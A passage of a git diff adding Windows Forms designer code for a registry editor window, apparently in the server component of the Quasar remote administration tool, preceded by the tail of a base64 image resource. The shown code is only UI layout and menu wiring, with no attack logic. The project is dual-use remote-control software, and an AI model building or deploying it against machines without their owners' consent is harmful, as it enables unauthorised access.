I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs new file mode 100755 index 0000000..a165969 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs @@ -0,0 +1,768 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmRegistryEditor + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegistryEditor)); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter2 = new Quasar.Server.Utilities.ListViewColumnSorter(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); + this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.menuStrip = new System.Windows.Forms.MenuStrip(); + this.searchPanel = new System.Windows.Forms.Panel(); + this.btnNavigate = new System.Windows.Forms.Button(); + this.txtSearchPath = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.tv_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.selectedItem_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.modifyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyBinaryDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyToolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.lst_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.newToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyBinaryDataToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyNewtoolStripSeparator = new System.Windows.Forms.ToolStripSeparator(); + this.newToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator7 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator6 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.tvRegistryDirectory = new Quasar.Server.Controls.RegistryTreeView(); + this.lstRegistryValues = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.tableLayoutPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.menuStrip.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.tv_ContextMenuStrip.SuspendLayout(); + this.selectedItem_ContextMenuStrip.SuspendLayout(); + this.lst_ContextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.splitContainer, 0, 1); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 2); + this.tableLayoutPanel.Controls.Add(this.searchPanel, 0, 0); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.GrowStyle = System.Windows.Forms.TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 3; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 43F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1083, 701); + this.tableLayoutPanel.TabIndex = 0; + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(4, 55); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.Controls.Add(this.tvRegistryDirectory); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.Controls.Add(this.lstRegistryValues); + this.splitContainer.Size = new System.Drawing.Size(1075, 614); + this.splitContainer.SplitterDistance = 319; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // imageRegistryDirectoryList + // + this.imageRegistryDirectoryList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryDirectoryList.ImageStream"))); + this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); + // + // imageRegistryKeyTypeList + // + this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); + this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png"); + this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png"); + // + // statusStrip + // + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.selectedStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 673); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1083, 28); + this.statusStrip.TabIndex = 1; + this.statusStrip.Text = "statusStrip"; + // + // selectedStripStatusLabel + // + this.selectedStripStatusLabel.Name = "selectedStripStatusLabel"; + this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 22); + this.selectedStripStatusLabel.ForeColor = System.Drawing.Color.White; + // + // menuStrip + // + this.menuStrip.Dock = System.Windows.Forms.DockStyle.None; + this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.fileToolStripMenuItem, + this.editToolStripMenuItem}); + this.menuStrip.Location = new System.Drawing.Point(0, 0); + this.menuStrip.Name = "menuStrip"; + this.menuStrip.Size = new System.Drawing.Size(103, 8); + this.menuStrip.TabIndex = 2; + // + // searchPanel + // + this.searchPanel.Controls.Add(this.btnNavigate); + this.searchPanel.Controls.Add(this.txtSearchPath); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.searchPanel.ForeColor = System.Drawing.Color.White; + this.searchPanel.Location = new System.Drawing.Point(3, 11); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1077, 37); + this.searchPanel.TabIndex = 3; + // + // btnNavigate + // + this.btnNavigate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnNavigate.Location = new System.Drawing.Point(1753, 5); + this.btnNavigate.Name = "btnNavigate"; + this.btnNavigate.Size = new System.Drawing.Size(90, 26); + this.btnNavigate.TabIndex = 2; + this.btnNavigate.Text = "Navigate"; + this.btnNavigate.UseVisualStyleBackColor = true; + this.btnNavigate.Click += new System.EventHandler(this.btnNavigate_Click); + // + // txtSearchPath + // + this.txtSearchPath.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearchPath.ForeColor = System.Drawing.Color.White; + this.txtSearchPath.Location = new System.Drawing.Point(55, 11); + this.txtSearchPath.Name = "txtSearchPath"; + this.txtSearchPath.Size = new System.Drawing.Size(1013, 26); + this.txtSearchPath.TabIndex = 1; + this.txtSearchPath.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtSearchPath_KeyDown); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(9, 14); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(40, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Path:"; + this.lblSearch.Click += new System.EventHandler(this.lblSearch_Click); + // + // tv_ContextMenuStrip + // + this.tv_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newToolStripMenuItem, + this.toolStripSeparator1, + this.deleteToolStripMenuItem, + this.renameToolStripMenuItem}); + this.tv_ContextMenuStrip.Name = "contextMenuStrip"; + this.tv_ContextMenuStrip.Size = new System.Drawing.Size(133, 82); + this.tv_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // newToolStripMenuItem + // + this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem, + this.toolStripSeparator2, + this.stringValueToolStripMenuItem, + this.binaryValueToolStripMenuItem, + this.dWORD32bitValueToolStripMenuItem, + this.qWORD64bitValueToolStripMenuItem, + this.multiStringValueToolStripMenuItem, + this.expandableStringValueToolStripMenuItem}); + this.newToolStripMenuItem.Name = "newToolStripMenuItem"; + this.newToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.newToolStripMenuItem.Text = "New"; + // + // keyToolStripMenuItem + // + this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; + this.keyToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem.Text = "Key"; + this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem + // + this.stringValueToolStripMenuItem.Name = "stringValueToolStripMenuItem"; + this.stringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem.Text = "String Value"; + this.stringValueToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem + // + this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem"; + this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem.Text = "Binary Value"; + this.binaryValueToolStripMenuItem.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem + // + this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem"; + this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem + // + this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem"; + this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem + // + this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem"; + this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem + // + this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem"; + this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(129, 6); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Enabled = false; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteRegistryKey_Click); + // + // renameToolStripMenuItem + // + this.renameToolStripMenuItem.Enabled = false; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameRegistryKey_Click); + // + // selectedItem_ContextMenuStrip + // + this.selectedItem_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.modifyToolStripMenuItem, + this.modifyBinaryDataToolStripMenuItem, + this.modifyToolStripSeparator1, + this.deleteToolStripMenuItem1, + this.renameToolStripMenuItem1}); + this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; + this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(216, 106); + this.selectedItem_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // modifyToolStripMenuItem + // + this.modifyToolStripMenuItem.Enabled = false; + this.modifyToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem"; + this.modifyToolStripMenuItem.Size = new System.Drawing.Size(215, 24); + this.modifyToolStripMenuItem.Text = "Modify..."; + 